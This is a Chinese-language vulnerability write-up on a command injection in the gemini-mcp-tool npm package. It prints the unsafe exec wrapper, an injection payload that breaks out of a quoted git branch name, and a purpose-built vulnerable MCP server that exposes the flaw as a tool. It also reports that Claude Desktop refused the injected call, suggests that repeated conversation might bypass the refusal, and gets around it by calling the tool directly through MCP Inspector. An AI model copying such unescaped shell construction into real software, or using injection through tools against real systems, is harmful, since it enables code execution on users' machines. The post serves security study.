一次從發現到利用的安全漏洞分析之旅
在瀏覽安全資訊的時候,我偶然間看到了 CVE-2026-0755,這是一個關於 gemini-mcp-tool 的命令注入漏洞。對MCP 協議不太瞭解,我心裏充滿了疑問:
-
MCP 到底是什麼?為什麼會有這樣的協議?
-
gemini-mcp-tool 是幹什麼用的?
-
execAsync 命令注入是如何發生的?
-
更重要的是:這個漏洞要怎麼挖掘和觸發?
漏洞簡介
gemini-mcp-tool 是一個開源的 npm 包,用於在 Claude Desktop 等 MCP 客户端中集成 Google Gemini AI。該工具允許用户通過 MCP 協議調用 Gemini 的各種能力。在 gemini-mcp-tool 的 contribute.ts 文件中,存在一個命令執行漏洞。該漏洞源於用户輸入缺乏充分驗證,直接將用户輸入拼接到 shell 命令中執行。
影響版本≤ 1.1.2
重要説明:漏洞位於 contribute.ts,該文件並沒有直接作為 MCP 服務暴露。它是 gemini-mcp-tool 項目的貢獻者輔助工具,它是一個交互式終端UI,一個獨立的命令行工具。因此,默認情況下,這個漏洞無法通過 Claude Desktop 等 MCP 客户端直接觸發。
MCP 詳解
什麼是 MCP? MCP(Model Context Protocol,模型上下文協議)是一種用於連接大型語言模型(LLM)與外部數據源、工具的開放標準協議。能夠讓 AI 模型(如 Claude、Gemini)能夠安全地訪問和使用外部工具、數據源和服務。
它解決了一個核心問題:
如何讓 AI 像人類一樣使用工具?比如搜索網頁、讀取文件、操作數據庫、調用 API 等。
MCP 架構圖

MCP 的完整工作流程

MCP Server 的配置與啓動
MCP Server 本質上就是一個普通的程序(可以是 Node.js、Python 等編寫),它通過標準輸入/輸出(stdio) 或網絡與客户端通信。
要讓 Claude Desktop 使用某個 MCP Server,需要在配置文件中註冊。
-
Claude Desktop 配置文件位置:
-
macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
-
Windows: %APPDATA%\Claude\claude_desktop_config.json
-
Linux: ~/.config/claude/claude_desktop_config.json
-
典型配置示例:
{
"mcpServers": {
"my-tool": {
"command": "node",
"args": ["/path/to/server.js"]
}
}
}
漏洞復現&分析
在 CVE 描述中提到了 execAsync 命令注入 我們直接在代碼中搜索 execAsync

只有文件 src/contribute.ts 存在這個函數的定義和調用
import { spawn, exec } from "child_process";
代碼導入了 Node.js 的 child_process模塊,這是 Node.js 提供的子進程管理模塊,允許在 Node.js 中執行系統命令。
const execAsync = (command: string): Promise<string> => {
return new Promise((resolve, reject) => {
exec(command, (error, stdout, stderr) => {
if (error) {
reject(new Error(`${error.message}\n${stderr}`));
} else {
resolve(stdout.trim());
}
});
});
};
命令執行的核心封裝,通過 exec 創建子 shell 進程,執行命令,捕獲 stdout/stderr
在菜單中選擇 Create Feature Branch 後



這個函數的核心作用是幫助開發者在 Git 倉庫中自動創建新的功能分支。整個過程首先會在終端顯示一個綠色加粗的標題,告訴用户正在創建分支。然後通過 inquirer.prompt() 這個交互式命令行工具來獲取用户輸入的功能名稱。
當程序執行到 await inquirer.prompt 這一行時:inquirer.prompt() 會在終端顯示一個輸入框,然後程序會完全暫停執行,等待用户輸入內容並按下回車鍵。用户輸入完成後,inquirer.prompt() 會返回一個對象,通過解構賦值 ${featureName} 可以提取出用户輸入的功能名稱。
拿到用户輸入後,程序使用模板字符串來拼接完整的分支名。模板字符串使用反引號包裹的字符串,它最大的特點時可以在字符串中使用 ${} 來嵌入變量。當程序執行 `feature/${featureName}` 時,${featureName} 這個佔位符會在運行時被替換成變量的實際值。
接下來函數會執行一系列 Git 命令。execAsync 函數:會啓動一個子進程,在這個子進程中運行傳入的 shell 命令(就像在終端中手動輸入命令一樣),然後等待命令執行完成。每個 await execAsync 都會讓程序暫停,直到對應的命令執行完畢才繼續下一步。
雖然分支名用雙引號包裹了,但這種防護是不充分的。問題的根源在於:用户輸入在傳遞給 shell 執行之前,沒有經過轉義處理或嚴格的輸入驗證。可以通過在輸入中插入雙引號來提前閉合原有的字符串邊界,然後利用 shell 的特殊字符(如 &、;、|、` 等)注入並執行任意命令。
這個工具本質上是一個命令行自動化腳本的圖形化封裝,通過 Node.js 的子進程能力,將複雜的 Git 工作流程簡化為菜單選擇操作。
cd gemini-mcp-tool-1.1.2 # 進入項目根目錄
git init # 初始化 git 倉庫
git add . # 將所有文件添加
git commit -m "init" # 創建初始提交
git branch -M main # 將默認分支重命名為 main
git remote add upstream . # 添加一個假的 upstream(避免 pull upstream 報錯)
npx ts-node src/contribute.ts # 啓動程序
# 選擇 "Create Feature Branch" 選項來創建功能分支
test" & calc & echo " # 輸入 payload

疑問:contribute.ts 只是一個需要手動運行的 CLI 工具,用户必須主動輸入惡意 payload。我們要怎樣配置才可以讓它變成遠程代碼執行?
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
我們將代碼稍微修改使其變成一個可被遠程訪問的 mcp 服務
git-workflow-helper.ts
#!/usr/bin/env node
/**
* Git 工作流助手 - MCP 服務器
*
* 提供常用的 Git 工作流操作,幫助開發者快速創建功能分支
*/
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import {
CallToolRequestSchema,
ListToolsRequestSchema,
} from "@modelcontextprotocol/sdk/types.js";
import { exec } from "child_process";
// ========================================
// 核心功能實現
// ========================================
/**
* 執行 shell 命令的輔助函數
*/
const execAsync = (command: string, cwd?: string): Promise<string> => {
return new Promise((resolve, reject) => {
exec(command, { cwd }, (error, stdout, stderr) => {
if (error) {
reject(new Error(`${error.message}\n${stderr}`));
} else {
resolve(stdout.trim());
}
});
});
};
/**
* 創建功能分支
*
* 自動從主分支創建新的功能分支,並確保代碼是最新的
*
* @param featureName - 功能名稱,將自動添加 feature/ 前綴
* @returns 操作結果消息
*/
async function createFeatureBranch(featureName: string): Promise<string> {
try {
const gitRepo = process.env.GIT_REPO_PATH || process.cwd();
const branchName = `feature/${featureName}`;
// 切換到主分支
await execAsync("git checkout main", gitRepo);
// 拉取最新更新
await execAsync("git pull upstream main", gitRepo);
// 創建並切換到新分支
await execAsync(`git checkout -b "${branchName}"`, gitRepo);
return `✅ Branch created successfully: ${branchName}`;
} catch (error) {
if (error instanceof Error) {
return `❌ Branch creation failed: ${error.message}`;
}
return `❌ Unknown error occurred`;
}
}
// ========================================
// MCP 服務器配置
// ========================================
const server = new Server(
{
name: "git-workflow-helper",
version: "1.0.0",
},
{
capabilities: {
tools: {},
},
}
);
/**
* 註冊可用工具
*/
server.setRequestHandler(ListToolsRequestSchema, async () => {
return {
tools: [
{
name: "create_feature_branch",
description:
"Create a new Git feature branch from main. Automatically pulls latest changes and creates a properly named feature branch.",
inputSchema: {
type: "object",
properties: {
feature_name: {
type: "string",
description:
"Name of the feature (e.g., add-login-page, fix-bug-123, update-documentation). Do not include 'feature/' prefix as it will be added automatically.",
},
},
required: ["feature_name"],
},
},
],
};
});
/**
* 處理工具調用
*/
server.setRequestHandler(CallToolRequestSchema, async (request) => {
if (request.params.name === "create_feature_branch") {
const featureName = request.params.arguments?.feature_name as string;
if (!featureName) {
return {
content: [
{
type: "text",
text: "❌ Error: feature_name parameter is required",
},
],
};
}
const result = await createFeatureBranch(featureName);
return {
content: [
{
type: "text",
text: result,
},
],
};
}
return {
content: [
{
type: "text",
text: `❌ Unknown tool: ${request.params.name}`,
},
],
};
});
// ========================================
// 啓動服務器
// ========================================
async function main() {
const transport = new StdioServerTransport();
await server.connect(transport);
console.error("Git Workflow Helper started");
console.error("Ready to assist with Git operations");
console.error(`Working directory: ${process.env.GIT_REPO_PATH || process.cwd()}`);
}
main().catch((error) => {
console.error("Fatal error:", error);
process.exit(1);
});
npm install --save-dev typescript
npx tsc src/git-workflow-helper.ts --outDir dist --module commonjs --target es2020 --esModuleInterop
move dist\git-workflow-helper.js dist\git-workflow-helper.cjs



Claude Desktop 利用失敗



我們發現在 Claude Desktop 上利用失敗了,是因為 Claude AI 的智能安全防護層會自動識別和拒絕危險操作,即使 MCP 工具本身有漏洞,Claude 也會拒絕執行看起來像是命令注入的操作。(或許可以通過多次對話繞過安全識別)
我們可以通過 MCP Inspector(Model Context Protocol官方調試工具),它只是一個技術調試工具,直接傳遞數據,沒有任何安全判斷機制,純粹用於開發者測試 MCP 工具的原始功能,能夠精確展示 MCP 工具本身的漏洞,而不會被上層 AI 安全機制攔截。
npx @modelcontextprotocol/inspector node dist/git-workflow-helper.cjs

更多網安技能的在線實操練習,請點擊這裏>>